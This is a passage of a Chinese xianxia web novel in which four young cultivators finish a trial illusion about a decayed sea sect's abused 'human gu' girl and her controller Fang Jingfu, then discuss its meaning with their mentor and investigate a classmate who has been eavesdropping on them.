关云铮摇了摇头:“最初的母蛊不是他,而是迷津渡门派中另一个不知姓名的人。这人蛊幼时是个正常孩童,被海盗掳掠而来,嫌她体弱多病浪费草药,将她抛在岛上,最初那母蛊便救了她。” “救了她,也毁了她。”楚悯低声说道。 “是,那人起先确实想治好她,但迷津渡与外界往来渐少,草药逐渐难以为继,那人就打起了歪主意。”关云铮回忆着自己看到那段记忆时颇受震撼的感觉,“蛇虫鼠蚁也可入药,迷津渡倒是不缺这些,他便半是毒半是药地喂给那人蛊。” 楚悯露出不忍再听的神色:“想来并没有治好她的病痛,反而令那人发现了她独特的体质吧。” 关云铮点了点头:“服用了一段时间的毒药后,她的身体进入了一种,表征虚弱但脉象强势的状态,那些毒仿佛在她体内争抢她的生命力,而后又融入她的骨血,变为她力量的一部分。” 那段时日,她连受伤流出来的血都是青黑色的。 “后来呢?最初的母蛊是怎么死的?”楚悯有两种猜测,“是被她吃了,还是被方竞甫杀了?” 关云铮伸手掐了掐眉心,回忆起那画面还是觉得一阵恶心。 最开始的母蛊给人蛊服下的毒药都经过炼制,虽然端上来时总是黑黏的一碗,但毕竟没有什么不明物漂浮在里面,还能骗自己不是什么恶心的东西。 但最初的母蛊死的场面…… “两种情况参半。那时迷津渡爆发了门派内最严重的一次争吵,最初的母蛊作为方竞甫所说的入世派,主张带着人蛊离开,走歪门邪道,也好过让门派一直衰败下去;方竞甫自然主张留守,就跟那人吵了起来,期间或是失手,或是蓄意为之,将刀捅入了那人心口。” 接下来的场面简直足以成为她接下来一段时间的心理阴影,关云铮缓了缓才接着往下说:“方竞甫没见过人蛊,她一直被关在密室中。但母蛊性命垂危,人蛊也会有感应,她便从那里面爬了出来,看到了奄奄一息的母蛊。” 楚悯痛苦地皱起眉。 “她最初没有吃母蛊,因为她没吃过人,不知道人可以吃。”关云铮说到这实在是有些想吐,抬手使劲揉了揉喉咙,“是方竞甫看到她后,明白了一切,也想起了怎样取代母蛊的方法。他用刀剜下了一块母蛊的肉,分了一半给人蛊,剩下一半自己吃了。” 楚悯听得几乎面无血色,两人对视一眼,同时感到胃中翻涌,连忙给彼此打了一道清心诀。 “方竞甫……”楚悯再开口时几乎是咬牙切齿的,“这个畜生……” 许多时候记忆未必是真实的,越是印象深刻的事,越有可能经过了自己的主观加工,越容易虚假。 但那人蛊记忆中的每个画面都没有任何的情绪,平静得不像是她经历过的事,再加上她没有任何修为,关云铮并不相信她能在自己翻阅记忆之前做假。 两人在身后密谈太久,谭一筠忍不住往后看了好几次,终于在第不知多少次回看时,看见关云铮将屏障撤了,两人迈开步子跟了上来。 叶泯紧盯着走在最前面的人蛊,还没忘了分出一缕视线:“说什么了,这好些时间过去。” 关云铮一脸菜色:“等出了幻境你自己去水镜里看吧。” 叶泯还以为是说了太多她懒得复述,一时没往心里去,“哦”了一声就专心继续盯着了。 谭一筠却敏锐地意识到不对,看向同样脸色不好的楚悯,总觉得两人并不是因为说来话长,才不复述的。 有什么不方便说给他们听的吗?那水镜中看岂不是也一样不便? 还是说,云铮担心此时说出来会影响他和叶泯对事态的判断和态度?出得幻境后事件了解,心态多少会有些不同,到时受的影响想必要小一些。 既然如此,那会是什么? 谭一筠将视线投向那个走在最前面的人蛊,若有所思地皱起眉。 那人蛊似乎是循着记忆中的路线走的,虽然步子轻飘飘的,但目的地却很明确。 ——兜兜转转,带他们回了迷津渡的门派。 “她不会直接带我们回去见方竞甫吧?”虽然关云铮没告知,人蛊究竟是如何变成现今模样的全部经过,但如今的母蛊究竟是谁她还是说了的。因此看着目的地越来越近,叶泯一时怀疑这人蛊是不是打算背弃刻印。 而持有刻印的关云铮朝他摇了摇头:“应当不是,再看看。” 果不其然,她带着四人绕过了熟悉的门廊,走向了一处僻静的角落。 关云铮又在不合时宜地腹诽:他们和僻静的角落还真是有些不解之缘。 江县里动辄从角落钻进钻出,除夕夜去朝安落地也是角落,此刻又要钻到角落去了,这如同做贼,不,如履薄冰的修仙路啊。 “是暗道?”叶泯面色一变。 他们昨日抵达时便探查到的暗道,出口竟在此处,离门廊只有不到半炷香的路! 灯下黑能让人胆大妄为成这个模样吗? 迷津渡人丁稀少,他们行迹鬼祟,也没人会发现,索性大摇大摆地跟着人蛊钻进了暗道。 暗道并不狭窄低矮,容纳一个成年人略微低头度过都绰绰有余,想来方竞甫本人也没少从这经过,暗道内部的尺寸几乎是为他量身打造的。 四人包括最前面带路的人蛊都是少年身量,走在其中便更是省心,除了空气略有些污浊之外,几乎适应良好。 可这种好心态在他们拐过一处转角,进入地牢后便荡然无存了。 一股浓重的血腥气混杂着腐臭味扑面而来,关云铮险些眼前一黑,连忙从乾坤袋里摸出凌风起给的解毒丹,一人咽了一颗下肚。 虽然不知道这气味有没有毒,但毕竟眼前这连血都能腐蚀人血肉的剧毒之物,就脱胎于此处,实在马虎不得。 四人屏息等待片刻,见人蛊走出去后确实没什么异常,这才陆续跟着走出去—— 作者有话说:最近这两章写得自己都有点掉san了(望天) 第143章 地牢中没有床榻, 甚至没有椅子,唯有一处角落里铺了些干草,想来便是那人蛊日常歇息之处。 那干草已经脏得看不出原本的颜色, 这人蛊身上的衣裳反而很干净, 也闻不出一丝一毫的异味,不知是否有人为她清洗。 按理来说这些事关云铮能在她的记忆中看到, 可将隐的局限便在于此:至少三天之前的事, 在它那里,才算是可供回溯的“过去”。 而三天之内发生的事,在将隐的规则这里,都是“当下”。这倒也合理,毕竟“最近”这个词指的也是当下,但谁能说它没有囊括几天“过去”呢? 话虽如此, 关云铮到底是没能在这份将隐认可的过去里,看到任何人蛊被带去洗漱的画面。也可能……那些时候她都睡着了, 所以无从记忆吧。 之前两次幻境都是过去的事,不知道这次的幻境是否也一样, 又是章存舒何时经历的。重要的是, 这人蛊现在何处,迷津渡如何,方竞甫又如何? 从前两次她不知身在幻境, 自然也不必感到急迫;但这次她如此迫切地想要离开幻境, 得知关于此事的后续,似乎也不全是因为清楚自己身处幻境。 又在共情了,关云铮。 她在心里叹了口气,看着人蛊走到那堆干草边,穿着那一身干净衣服就要往上面坐。 一直防着她的叶泯忽然出声:“诶……太脏了别就这么坐。” 关云铮默默看他。 叶泯似乎也意识到这样友善的提醒与自己提防的态度互相矛盾, 后半句声音越说越小,导致那人蛊完全没听清,狐疑地回头看了他一眼。 说是狐疑,实则压根没什么情绪,只是又学着关云铮的模样歪了歪头。 按理来说,方竞甫要给她喂食,一定与她有所接触,人蛊或多或少地,会沾染上他的行事作风。 但不知是方竞甫装得太好,还是人蛊确实什么都不知道,她身上看不出一点“人”的痕迹,关云铮就做了歪头这么一个稍微幅度大些的动作,被她学了这好些次。 活像是刚学会说话就逮着一个词反复说的婴儿。 这副模样确实容易让人起恻隐之心,叶泯会忍不住出言提醒也是人之常情。 关云铮不得不跟过去,但实在不想在那干草上坐下,只好在乾坤袋里翻了翻,找出一件衣服来,尽可能平铺后垫在地上,在人蛊面前坐下了。 “你想用什么样的方式除掉方竞甫?我们和他谈过话,他心思深沉,表露出的样子与实际相去甚远,恐怕没那么好对付。”关云铮没有刻意放慢语速,也没有把词句全部替换成更好理解的话,是因为她知道她听得懂。 人蛊反应有些慢,过了片刻才点了点头:“吃。” 叶泯头都快痛了,本以为她要说出什么他们想不到的法子,怎么又是吃?既然她听得懂人话,难道不想摆脱这样的日子吗? 关云铮态度很好地跟着点点头:“行,那就吃。怎么做?” 眼见叶泯在一旁都快暴走了,谭一筠和楚悯连忙左一个右一个拉住他安抚,谭一筠知道他在想什么,还给他分析:“她变成这样一定经历了许多年岁,可能早就不知道什么样的日子是正常人该过的了,你不能苛求她。” 楚悯下意识看了他一眼。 谭一筠没注意到楚悯的视线,接着说道:“我们不了解蛊毒的原理,也不清楚到底能不能救她,如果费尽心力告诉她,正常的日子究竟是什么样,最后却给不了她这样的日子,会再一次毁了她的。” 倘若站在此处拉着叶泯的人是关云铮,此时会感慨一句老生常谈的话:“我本可以忍受黑暗,假如我不曾见过光明。” 但此刻站在此处的是楚悯,她只会默默消化一切,把所有的情绪又轻描淡写地按下去。 不远处的干草堆边,关云铮像是和人蛊达成了真正意义上的合作,先后从地上站了起来。 **** 人蛊给出的计划很简单,应该说根本称不上计划,她只是依旧记得,那个曾经待她有几分好的第一任母蛊是如何死的,想要如法炮制,把方竞甫也这样杀了,然后……就没有然后了。 她对自己摆脱方竞甫后的生活没有设想,对迷津渡之外的世界没有了解,对一切都没有期待。 关云铮不知道这次幻境的考题究竟是怎么,杀了方竞甫帮人蛊解脱后,他们又算不算是通过,也不清楚究竟能在此处待到几时,故而没有对未来轻易许下承诺,只说会帮她杀了方竞甫。 但这对人蛊来说已经足够了,她打算将自己弄伤,骗方竞甫来地牢,然后让暗处的四人出手,助她杀了母蛊。 这计划简单,但不是没有纰漏。譬如方竞甫若是并不在意她的性命,不会立刻赶来会如何;譬如方竞甫若是演技超群,之前灵气有损武艺不精都是假装,又待如何。 最重要的是,他们筹谋了这许久,自然也消失了这许久,方竞甫竟一刻也没有出现过,仿佛当真不在乎他们在岛上折腾些什么。 但四人都清楚,这是不可能的。 他们对方竞甫的厌恶不加掩饰,但方竞甫又表现得无比在意他们的看法,就算是为了将戏演到底,他也该对他们的行踪多有关心,这才符合他的“人设”。 不远处的干草堆边,人蛊已经用药碗的碎片割开了自己的手腕。纵然知道她的血异于常人,对她性命的影响没那么大,不会那么快就流血而死,四人还是不太愿意往她的手腕上看,都有些不忍心。 毕竟她看上去就是个天真的小姑娘。 但不忍心的同时,他们需得提起十二分的警惕,随时准备着面对闻讯赶来的方竞甫。 这计划实在太简陋,自从确立下来,关云铮便一直皱着眉头。 理智上来说,她知道如果要杀方竞甫,大可不必与人蛊合作,毕竟计划之中人蛊也只是起到“诱饵”的作用,最终动手的还是他们四人。 但感性上来说,她希望方竞甫是死在人蛊手上的,最好是被她的血腐蚀之后,又被她吞食,了却性命,终结母蛊的身份。 关云铮觉得诧异,她的感性竟然会有一刻比理性更为残忍。她明明觉得这样的生活是不该继续的,不该被加深影响的,但感情上她竟然更愿意让人蛊以这种方式来报复,不顾人蛊想法地、迫切地,想让方竞甫尝到自己种下的孽果。 仇恨在她心间鼓噪着,但这仇恨虚无缥缈,毫无来由,因为她感受过人蛊的记忆,人蛊对方竞甫根本谈不上恨,只是单纯想把他吃掉而已。 纯粹的食欲,不带一丝一毫的感情色彩。 所谓的仇恨,所谓的报复,不过是关云铮一时义愤填膺,自行给此事添加的色彩。 一旦清楚地剖析了自己,直面了灵魂的不堪,冷静看待事情就变得容易许多,关云铮微微松开一点眉头,却忽而想到,人蛊的记忆如此平顺无异,是否也代表了什么,更深层次的事? 还没等她想出具体的答案,暗道中传来一阵脚步声,正快速朝地牢迫近,听上去很有几分急切。 谭一筠的阵法早已布置妥当,叶泯的符咒和楚悯的琴全都严阵以待,作为某种意义上的“主攻手”的关云铮,却忽然意识到一个一直被他们无意识忽略的问题。 ——方竞甫是母蛊,母蛊可以操纵子蛊。 这念头电光火石般地在她心里一转而过,原本该在不远处干草堆上扮演受伤虚弱的人蛊骤然暴起,带着她那血流四溅的手腕向四人藏身处扑来! 记忆是第一视角,地牢之中也没有铜镜,于是直到此刻,关云铮才见到了人蛊“进食”的时候,究竟是什么样子。 那个脆弱天真的小姑娘好像只是一个虚影。 几人没少被各大教习先生突袭过,哪怕面对人蛊毫无预兆的暴起,也依旧快而不乱。 谭一筠迅速变换阵法,防御阵法的光倾泻而出,子不语立即脱手,回旋的扇面如同有力但无刃的刀背,将人蛊击退了数尺。 “当真是少年心气啊,年轻人。”方竞甫终于从暗道中缓步走出,显然方才急迫的脚步声全是出自假装,只为了成全他们一厢情愿的计划。 霄汉在手,关云铮盯着方竞甫那毫不掩饰得意的脸:“你会引魂术。” 方竞甫讶然回视:“这也被你发觉了?” 方才人蛊扑上来的瞬间便是背弃了承诺,右手掌心的刻印却不曾示警,这是因为人蛊的魂魄不全。 在传授关云铮刻印之时,步雁山便曾叮嘱过,刻印这一类契约性质的术法,势必要建立在双方魂魄完整的情况下,否则即使对方背誓,刻印也不会示警。 而记忆以魂魄为载体,关云铮用将隐翻阅记忆时,虽然一直没有看到某些特定的画面,但记忆的连贯性是没有问题的,也就意味着魂魄应当是没有问题的。 可现如今刻印没有响应,说明人蛊的魂魄确实残缺不全,那就一定是有人对此做了手脚。能在魂魄上动手脚还不被立刻察觉的邪术……除了引魂术,关云铮想不到别的答案。 再加上……人蛊身上那股熟悉的气味,她起先只以为是灵犀身上“蛇”的味道,此刻才恍然意识到,那里头还有引魂香的味道。只是从最开始穿越至此她便与这种味道无知无觉地共处了一段时间,早就习惯了,一时竟没能分辨出来。 她对引魂术深恶痛绝,此刻看方竞甫的嘴脸,便觉得他尤为面目可憎。 “少年人容易被一腔热血驱使,自诩正义地做些傻事,这没什么,我年少时也犯过傻。”方竞甫笑得堪称慈眉善目。 叶泯手中的符咒蠢蠢欲动,被谭一筠一手按住,又微不可察地朝他摇了摇头。 而关云铮正紧盯着方竞甫和他身后的人蛊。 “我虽然不知道你们来迷津渡究竟是为了什么,但想让我的蛊背叛我,恐怕还需要些更高明的手段。”方竞甫居高临下地说道。 谁料一直紧绷着脸的关云铮竟在此时笑了一声。 “你笑什么?”方竞甫一脸莫名。 关云铮双手环抱霄汉:“你猜?” 她故作玄虚,这本该是方竞甫眼中最不入流的手段,却在此时令他无端起了一丝危机感。 暗道连通着外界,此刻地牢之中一片寂静,暗道之外却隐约传来喧哗的人声。 迷津渡何时有这样多的人了? 方竞甫猛地看向暗道口。 而关云铮已经收起霄汉退到了同伴之中。 几乎是她退回来的瞬间,谭一筠启动了四人脚下的传送阵法,瞬息之间,身影便消失在了地牢里! 而就在他们传送至海岸的一瞬间,幻境消失了。 **** 一直守在幻境入口看着水镜的闻越,几乎在他们刚踏出幻境时便鼓起了掌:“精彩。” 他在上帝视角看到了全部经过,当局者却还有几个迷思不清的,被刻意隐瞒的叶泯更是一头雾水:“传送阵法我知道,是云铮跟那人蛊商议过后,回来偷偷让谭兄布设的。只是暗道外的动静又是怎么回事?还有什么我不知道的安排吗?” 关云铮摆摆手:“膈应人的一点小手段罢了,困死了,睡醒再说。” 她在幻境里精神紧绷一天多了,此刻骤然脱困,累得只想睡觉,索性撂下一干人,自己走回小院昏迷去了。 关云铮走得洒脱,只好由闻越这个看完全程的人负责解释她那些“小手段”。 “云崽刚进入幻境的时候就遇到了一帮海盗,此事你们都知晓。”站着说话也不是回事,闻越领着三人回饭堂吃东西,边走边说道,“那时候她就知道,方竞甫是个扮猪吃老虎的,只是因为海盗口中并未提及此人姓名,所以未曾笃定。” ——“迷津渡那王八蛋,手段比我们龌龊多了,装得道貌岸然,吃起人来估计都不带吐骨头的。” 四人在桌边落座,李演早就为他们出幻境后备着吃食,各色齐全,摆了一桌。 虽然现实中只过去了不到半日,但在迷津渡一日多,见的都是些海产荤腥,三人早就想吃点正常的安抚一番自己的脾胃,各自挑了喜欢的,埋头吃起来。 “云崽杀了那些海盗后,便留了个心眼,在现场做了些手脚,伪装成一切都是迷津渡之人所为的迹象。”闻越接着方才的话往下说,“除此之外,她还移走了困住小筠的那个锁灵阵。” 谭一筠作为与关云铮一同经历此事的人,听着听着便从碗沿抬起头,一脸茫然:“她什么时候做的?” 闻越也觉得关云铮的动作实在是太快了:“我也没看清,是师父指出来的。” “此次进幻境前,云崽去找了一趟掌门,在来去峰待了一整日,除了刻印之外,还学了一些平日用不上的阵法,其中就有锁灵阵的用法与解法。”连映不知何时来的,进门后也在桌边坐下。 楚悯吃了半碗桂花馅儿的汤圆:“锁灵阵还有解法?” 连映点点头:“有,但是云崽没用上。” 言下之意是……用法发挥作用了? 叶泯囫囵咽下一颗云吞:“云铮把锁灵阵用在方竞甫身上了?” 闻越抛了颗炒花生到嘴里:“准确地说,是除你们所在之外的整个地牢。” 谭一筠明白了:“云铮让我布设的传送阵法也是立即销毁的,所以哪怕幻境持续下去,方竞甫也没法用传送阵法从地牢中逃脱。” 但他还不够明白。 章存舒说着话从门外跨入:“幻境本就在持续,只是你们得以脱身而已。” 他将水镜放在了四人面前。 只见水镜之中一片猩红,地牢已经烧成了火海。 “是海盗在暗道之外放的火?”叶泯盯着水镜中的情形,只是遍寻无果,没能看到方竞甫的身影。 知道他在找什么,章存舒喝了一口红豆汤:“被人蛊吃了。” 叶泯:“……”那种反胃的感觉又来了。 “但是人蛊没能活下来。”章存舒又接着说道,“她没有修为,不会驱使灵气,吞食母蛊后摆脱了子蛊受摆布的命运,但还是被烧成了灰。” “那这一切有什么意义?”叶泯抬起头。 虽然章先生布设幻境,似乎从来不是为了什么“意义”,江县幻境中救下的姐弟,现实中甚至不曾见到;翠屏山幻境里救活的崔栩铭,早就在现实中死去了。那这次幻境中的人会以这样的方式死去……倒也并不意外。 如果方竞甫能以别的方式死去,不再加深人蛊身上的“罪孽”,同时人蛊能够活下来,或许会全了他们的心愿。但人蛊的安全性并不能得到保障,她死,或许对他人来说,才是个好结局。没有两全,更没有令人满意的“意义”。 只见章存舒收起水镜,脸上竟是笑着的:“你们难道不好奇现实中的迷津渡如何了?” 好奇,当然好奇。 若是关云铮没去休息,恐怕脸上的好奇已经要化作实质。 “现实中的方竞甫没有死,而人蛊下落不明。”章存舒这次没卖关子,直截了当地说道。 “什么?”谭一筠和叶泯异口同声道。 楚悯若有所思地用勺子舀着碗里的汤圆。 “未来归墟之外,你们或许会遇上方竞甫,或许会遇上人蛊,他们不认识你们,但你们却了解他们。”章存舒喝完了一碗甜汤,正要给自己续一碗,被连映不咸不淡地瞥了眼,默默把碗放下了,“这便是此次幻境的意义。”—— 作者有话说:写副本越来越熟手了[墨镜] 第144章 有些东西起初没意识到的时候存在感薄弱, 一旦意识到,便仿佛无处不在,存在感陡然强烈起来。 这个现象叫什么来着……关云铮意识沉浮间迷迷糊糊地想……破窗效应?不对。选择性注意?好像是…… 引魂香的味道在睡梦中依旧如影随形, 像雾气般裹缠住她的身躯, 让她再度回忆起原身被引魂时那种彻骨的疼痛来。 “小溪边还长着那棵柳树吗……”她非梦非醒,喃喃自语。 明明这样微不足道, 只是一股若有似无的气味, 为什么能让她这样痛苦?明明这样痛苦,为什么还是醒不过来? “云崽。” 遥远的地方传来一声呼唤。 关云铮一刹那间识海巨震,波涛将她从意识的海里翻了出来,如同呛了一口海水,她猛地睁开了眼。 涔涔冷汗已经浸湿了她的额发。 自从来到此世后,她做过无数次的噩梦, 但从没有哪一次像这一次一样,这么痛苦, 又这么难以挣脱。 这会是某种预警吗?或是某种昭示? 识海剧烈震荡,关云铮呆坐床上, 胸口闷得厉害。 “笃笃。”平稳的两下敲门声。 她仍被梦魇裹着, 回不过神,然而本能已经让她狠厉的话语脱口而出:“谁?!” 门外的人似乎被她吓了一跳,迟疑了几息才说:“云崽, 要不要吃过晚饭再睡?” 是大师兄的声音。 平日更为严肃的人, 说的却是更温和的师姐才会说的话,这反差令关云铮瞬间回神,抓了外衣穿上后,打开门:“大师兄。” 江却站在门外,平淡的神情中透着关切:“做噩梦了?” 也不知道是不是因为最近修炼太累, 又或者是梦里的负面情绪太多,总之以往噩梦醒来她一般都是黯然神伤的,还从来没有向外发泄过。 初次外耗就让江却撞了个正着,关云铮怪不好意思的:“是……魇着了。” 江却皱眉:“我白日下山了一趟,回来听小映说你没吃饭,还没来得及看水镜,是此次幻境不顺?” 关云铮正要解释,只见江却似乎是意识到自己皱着眉的神情太凶,又将拧紧的眉头松开来:“先去吃饭吧,噩梦醒了就好,不要放在心上。” 装作没那么在意其实确实还在意的关云铮忙不迭点头,回房间洗漱完,跟着江却一同往饭堂走。 “此次幻境是师父去年的一次经历,只不过他也并未完全亲历,所以应当会有些出入,与你们在幻境中的期望大约也有差别。”江却大概是认为幻境中发生了什么不愉快,才令她做噩梦,因此耐心地解释道。 然而关云铮并非完全因为此事才做噩梦,对江却所说也是毫不知情,因而有些迟钝地反应:“嗯?去年的事?” 江却点点头:“迷津渡作为过往曾辉煌一时的仙门之一,彼时彻底覆灭了。” **** “我一直觉着,迷津渡这个名字不太好。”闻越用公筷给关云铮和楚悯各夹了块排骨,“古往今来,越是强调自己肩负职责之人,越容易受‘职责’所累,走上歪路的速度也更快。等到做了许多坏事了,也还会用道貌岸然的‘职责’来为自己粉饰。” 譬如有的人因为邪修失去了亲朋,却说屠戮邪修是为了天下太平,实则所杀“邪修”甚至不全是邪修;有的人习惯了家大业大时的锦衣玉食,门派衰颓后便动辄嚷嚷“振兴门派”,实则只是为了一己私欲,沉迷权势无法自拔。 迷津渡毗邻东海,海雾弥漫,建派之初起这样的名字,无疑有“指点迷津”之意。但时间久了,海雾或许会有被彻底驱散的一天,人心中的雾气却越发弥漫了。 关云铮一边啃排骨,一边在心里嘀咕:归墟这名字倒是比迷津渡格局还要大些,“万物归处*”什么的……只可惜外界都当它是“破落户”,只当这名字是充门面用的,没几个往心里去。 “迷津渡究竟因何覆灭?方竞甫不是没死吗?”她啃完了排骨,有点纳闷,如果说现实也像幻境中一样,方竞甫死了,大杀器人蛊也没了,那迷津渡覆灭也是合情合理——可现实中全然相反,又怎么会走到覆灭的地步? 还是说,她理解的覆灭,和大师兄说的存在偏差?她理解的覆灭是门派一个人也不剩了,但幻境中的迷津渡愁云惨淡,跟覆灭好像……也没什么区别。 “被几个门派联手围剿的,沾了歪门邪道的交给了仙盟,身家清白的去了别的门派,迷津渡一个人也不剩,自然算是覆灭了。”章存舒刚和连映掰扯完“白日的甜汤能不能与晚间的甜汤分开计算”的问题,铩羽而归后,只好兴致不高地挑着桌上的菜吃。 还没等众人对他这话做出反应,他挑挑拣拣的动作已经惹得在桌边吃饭的李演不满,一筷子抽在他手背上:“能不能好好吃饭了?” 关云铮正要夹菜,被章存舒的话和这动静吓了一跳又一跳,筷子险些把菜挑飞了。 闻越被排骨占着嘴出不了声,但还没忘了给李厨喝彩,忙中抽出一只手,为他比了个大拇指。 总之点赞行为出现人传人现象。 被这么一打岔,方才众人听闻章存舒所言而起的那点惊诧,也散得差不多了。只不过四位刚从幻境中出来的弟子平日几乎对别家门派没有了解,就算有,也都只是纸上谈兵,故而并不清楚当年围剿时是个什么样的情形,脸上还都存着几分好奇。 叶泯吃了个菌菇丸子,感觉尝到了家乡味,连忙又往碗里夹了两个,这才说道:“是因为人蛊的事传了出来,被众仙门所知了?” “是也不是。你们在幻境中应当也发觉了,迷津渡外作乱的海盗,有好几成都是迷津渡原本的弟子,对此门派了解颇多,自然也不会对人蛊之事一无所知。他们与众仙门若要往来,总比与世隔绝的迷津渡便利许多,消息大约就是这么传进来的。”章存舒将菌菇丸子往叶泯的方向略推了推。 毕竟迷津渡“与世隔绝”的境遇一半是自己作的,一半是海盗逼的。 “这样看来,全然是自作孽了。人蛊,海盗,都是迷津渡自己的孽果。”谭一筠总结。 不过这倒是与他在归墟藏书阁中看到的有关迷津渡的记载……十分一致。 迷津渡自建派以来,历代掌门人刚愎自用皆是出了名的,向来自视甚高,认为门派隐居世外,门中人便都是世外高人,不屑与置身凡俗的其他仙门为伍。 然而迷津渡毕竟是处孤岛,原本便与外界脱节,纵然天道衰颓,外界的仙门也依旧在不断进步。符咒、术法、阵法,甚至于与灵气无关的武艺,无一不在日渐精进,迷津渡却因为固步自封,落得日渐衰败的下场。 人在人群中待得久了,容易变得盲目且没有主见,无知从众;然而一旦真正脱离人群,又会变得自大且傲慢,听不进他人的劝诫。 迷津渡是后者,仙盟……或许可以算是某种意义上的前者。 谭一筠收回思绪,看向碗里被章存舒夹过来的菜:“先生,这次幻境,您想让我们明白什么呢?” 章存舒正专心品鉴李演做的菜,闻言若有所思地沉吟片刻:“你又想明白了什么?” 又在谜语人了,关云铮腹诽。 楚悯暂时放下筷子:“江县幻境中的一切,或许是想让我们明白,微小之处或可成就大事,助人便是助己。” 章存舒挑眉:“翠屏山又如何?” “翠屏山幻境或许是……让我们不必执着于无法挽回的过去,助人重要,但不可因此失去自我,要坚守本心?”叶泯试着向楚悯的答案靠拢。 “至于迷津渡……有关它的事尚未完全结束,或许在日后见到方竞甫和人蛊时,我们才能得到答案。”谭一筠笃定地说道。 话都让同伴们说了,关云铮默默吃菜,感觉到师门众人的注视后,才缓缓抬起头,却是把问题又抛了回去:“师父呢?当时又在想什么?” 章存舒佯作诧异:“怎么又回到我身上了?” 关云铮沉默地盯着他。 来自徒弟的目光直接将章存舒的良心刺痛了,但此人的良心大约比常人要少上几两,故而刺痛时痛感轻微,依旧能将谜语人贯彻到底:“你们所见即为所得,又何必关心我如何想。” 受够了的李演拿起一个红糖馒头塞进他嘴里:“闭嘴吧。” **** 幻境结束后照例休息两日,暂时没有课业压力,关云铮和楚悯干脆陪着另外两个溜达到芥子院再溜达回去,权作消食。 “你们觉得……方竞甫和人蛊失踪时,彼此之间的联系结束了吗?”关云铮对这件事比较好奇。 “如果没结束,方竞甫又在我们不知情的情况下死了,人蛊应当也会死?”叶泯随手把灵犀往手臂上一搭,小蛇顺着他的手臂一路蜿蜒而上,最终在他脖颈虚虚绕了一圈,将脑袋搭在他肩上。 关云铮顺手摸了摸灵犀的脑袋:“总感觉师父好像知道他们的下落似的。” 谭一筠笑了声,无情揭穿:“章先生说什么都挺像是胸有成竹的,估计又是诓我们。” ……也对。 楚悯正要接话,忽然捕捉到什么动静,突兀地停下脚步。 此次幻境他们脱身得太早,其实都还没从那种警戒的状态里脱离出来,见楚悯进入戒备,顿时也跟着紧绷起来。 “怎么了?”关云铮的手已经向后搭在了刀鞘上。 楚悯凝神观察片刻,收回了原本打算召出月下逢的手:“似乎有人在偷听。” 谭一筠自然想起先前关云铮所说赵乾达偷听之事,霎时皱起眉头:“不会又是……?” 楚悯摇了摇头,神色有些不解:“探查不到灵气,兴许是用了什么法子遮掩。” “那岂不更可疑?若是没问题,灵气有什么见不得人的?”几人都不甚在意偷听之人走远了没,光明正大地谈论着。 “他的芥子与你们的挨着对吧?”关云铮忽而问道。 叶泯与谭一筠一同点头。 关云铮勾起嘴角:“那我们就过去看看。”—— 作者有话说:*归墟:最早见于战国典籍《列子·汤问》,指传说中渤海以东的无底深谷,汇聚八方之水及天河,其水量保持恒定而不增减。——来自百度百科 此处延伸为“万物归处”之意。 其实今天该发六千或者是加更章,但是这个月所有项目的甲方都像蟋蟀活不过冬天一样发疯,所有的事情都堆到了九月。已经连轴转四天了,白天在外面跑项目晚上下班继续做工作内容,夜里又沾床就睡,几乎找不到写文的时间,所以暂时把这三千发上来,下一更估计在周日,但字数应该也无法保证,因为周六补班…… 国庆期间会尽量多写点补上,感谢大家[可怜] 第145章 不论偷听之人是不是赵乾达——此人所住的芥子并没有人在。不知道他只是寻常出门还没回来, 还是当真去偷听他们说话,见他们往这边走了,担心尾随会招致暴露, 所以暂时没跟过来。 天色已经黑沉, 幻境与现实的时间流速不同,绝大多数的同窗都完成了此次幻境, 芥子院中很是热闹。 而此处住的多是男孩, 女孩太少,为数不多的面孔便都很熟悉,关云铮和楚悯两位不住在此处的骤然出现,容易引来注意,故而两人并未往深处走,只在院外站着, 等待探路二人组的消息。 原本关云铮是不屑于通过这样的手段去探查一个人的底细的,奈何赵乾达本人的手段总是十分上不得台面, 导致她甚至懒得去想一个正常的方式去对付此人。 虽然她偶尔也会玩“精神胜利法”那一套,宽慰自己不要跟脑子有问题的人计较, 不然是自降身价。但多数时候她又是信奉另一套准则的:对付无赖, 就要比无赖更无赖。 既然赵乾达屡次三番挑衅,又行迹鬼祟地偷听,那他们溜进他所住芥子查探, 也无可厚非吧? 谭一筠和叶泯在曲折的回廊上走着, 状似路过他人所住的芥子,实则悄悄进入赵乾达所住芥子中,而不能进去的关云铮站在芥子院外放风,百无聊赖地打了个哈欠。 “下次幻境之后,再入幻境, 便是仙门大比了,你紧张吗?”楚悯关切道。 两人如同在墙边罚站,只不过一个站得端正,另一个东倒西歪。 关云铮抬手抹掉打哈欠时溢出的眼泪:“算是有些紧张吧。主要还是师父这人一肚子坏水,前两次下来我好不容易摸清了幻境的规律,结果这次的幻境竟然是这样的,既没有被混淆记忆,也没有太艰难的考题。”她嘀嘀咕咕地说自家师父的坏话,“这样看来,谁知道大比时又会是怎样。” 一番话里没有对幻境的忧虑,全是对师父居心的负面揣测。 楚悯听得失笑:“大比时的幻境应当不全由章先生布设,大概还会有仙盟的手笔。” 那就更是司马昭之心了。光是第二批弟子里就有不少人是被仙盟塞进来的,关云铮很难不以君子之心度小人之腹。 几个有些面生的同窗说笑着从两人身边路过,关云铮不动声色地在墙上歪着,等人走过了才站直身子:“仙盟毕竟派了人来,将幻境布设得更利于他们的自己人,倒是也不意外。” “到时怕是不能像如今这般,四人联合后进入不同的幻境。”楚悯担心的其实是这一点,她斟酌着说道,“一旦我们与其他人一同进入幻境,要想成功会合,便成了首要问题。” 大比时的幻境应该是淘汰制,这段时日几次幻境过去,大家都对彼此的小队成员心知肚明,平日成绩特别好的,自然会遭遇阻拦,到时会合一定会成为首要难题,排名靠前的小队被逐个击破也不是不可能。 但这一点关云铮倒不是很担心:“人多的时候更不宜混淆大家的记忆,到时候我们的记忆一定没问题,只要记忆没问题,找到同伴会合就是迟早的事。” 当初江县幻境中,四人记忆被动了手脚也还是顺利地会合了——当然,也不排除直到现在章存舒都在手下留情,还从未让他们体验过真正颠倒黑白的幻境。 但关云铮无端觉得不太可能,章存舒虽然溺爱徒弟,但溺爱得十分有分寸,如果已经决定让他们体验幻境,想来便不会放太多的水,意思意思炖锅粥也就得了,炖成没有一粒米的汤,就有点太过分了。 两人有一搭没一搭地在院外闲聊,期间还碰见几个面熟的姑娘同她们打招呼,关云铮和楚悯一一应了,还与其中一位多聊了几句。 谭一筠和叶泯探查完毕出来时,便看见楚悯正被人围着,七嘴八舌地想让她为她们卜一卦。 而站在人群外的关云铮一脸早有预料的木然。 